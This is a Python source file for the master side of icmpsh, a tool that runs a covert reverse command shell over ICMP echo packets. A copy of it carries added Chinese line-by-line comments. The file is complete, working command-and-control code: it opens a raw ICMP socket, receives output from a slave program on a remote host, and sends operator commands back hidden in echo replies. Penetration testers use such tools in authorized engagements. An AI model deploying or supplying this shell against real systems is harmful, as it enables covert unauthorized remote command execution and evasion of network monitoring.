#!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker ) # # Copyright (c) 2010, Bernardo Damele A. G. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import select import socket import sys def setNonBlocking(fd): """ Make a file descriptor non-blocking """ import fcntl # 导入用于文件控制选项的库 flags = fcntl.fcntl(fd, fcntl.F_GETFL) # 获取当前文件描述符的状态标志 flags = flags | os.O_NONBLOCK # 将非阻塞标志添加到当前标志 fcntl.fcntl(fd, fcntl.F_SETFL, flags) # 设置文件描述符为非阻塞模式 def main(src, dst): """主程序函数,用于设置 ICMP socket 和处理命令。""" if sys.platform == "nt": sys.stderr.write('icmpsh master can only run on Posix systems\n') # 检查是否在 Windows 上运行 sys.exit(255) try: from impacket import ImpactDecoder # 导入 Impacket 库用于解析数据包 from impacket import ImpactPacket # 导入 Impacket 用于构建数据包 except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') # 检查是否安装 Impacket sys.exit(255) # 将标准输入设置为非阻塞 stdin_fd = sys.stdin.fileno() # 获取标准输入的文件描述符 setNonBlocking(stdin_fd) # 为 ICMP 协议打开一个 socket try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) # 创建原始 ICMP socket except socket.error: sys.stderr.write('You need to run icmpsh master with administrator privileges\n') # 检查运行权限 sys.exit(1) sock.setblocking(0) # 设置 socket 为非阻塞模式 sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 启用 IP 头包含在发送包中 # 创建一个新的 IP 包,设置源和目的地址 ip = ImpactPacket.IP() ip.set_ip_src(src) # 设置源 IP ip.set_ip_dst(dst) # 设置目标 IP # 创建一个新的 ICMP 包,类型为回显应答(ECHO REPLY) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # 实例化 IP 数据包解码器 decoder = ImpactDecoder.IPDecoder() # 在无限循环中发送和接收命令 while True: try: cmd = '' # 等待输入的回复 if sock in select.select([sock], [], [])[0]: # 监控 socket 是否可读 buff = sock.recv(4096) # 接收最大 4096 字节的数据 if 0 == len(buff): # 如果接收到的数据长度为 0,说明对方关闭了 socket sock.close() sys.exit(0) # 解析接收到的数据包 ippacket = decoder.decode(buff) # 解码 IP 包 icmppacket = ippacket.child() # 获取 ICMP 包 # 检查 ICMP 数据包的源和目的地址以及类型 if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # 获取标识符和序列号 ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() # 获取数据 if len(data) > 0: sys.stdout.write(data) # 输出接收到的数据 # 从标准输入读取命令 try: cmd = sys.stdin.readline() # 读取用户输入的命令 except: pass if cmd == 'exit\n': # 如果输入为 'exit',退出循环 return # 设置序列号和标识符,以便回复 icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) # 将命令作为数据包含在 ICMP 包中 icmp.contains(ImpactPacket.Data(cmd)) # 计算 ICMP 包的校验和 icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # 自动计算校验和 # 将 ICMP 包插入到 IP 包中 ip.contains(icmp) try: # 发送数据包到目标主机 sock.sendto(ip.get_packet(), (dst, 0)) except socket.error as ex: sys.stderr.write("'%s'\n" % ex) # 输出错误信息 sys.stderr.flush() except: break if __name__ == '__main__': # 检查参数,确保提供了源 IP 和目标 IP if len(sys.argv) < 3: msg = 'missing mandatory options. Execute as root:\n' msg += './icmpsh-m.py \n' sys.stderr.write(msg) sys.exit(1) main(sys.argv[1], sys.argv[2]) # 调用主函数,传入源和目标 IP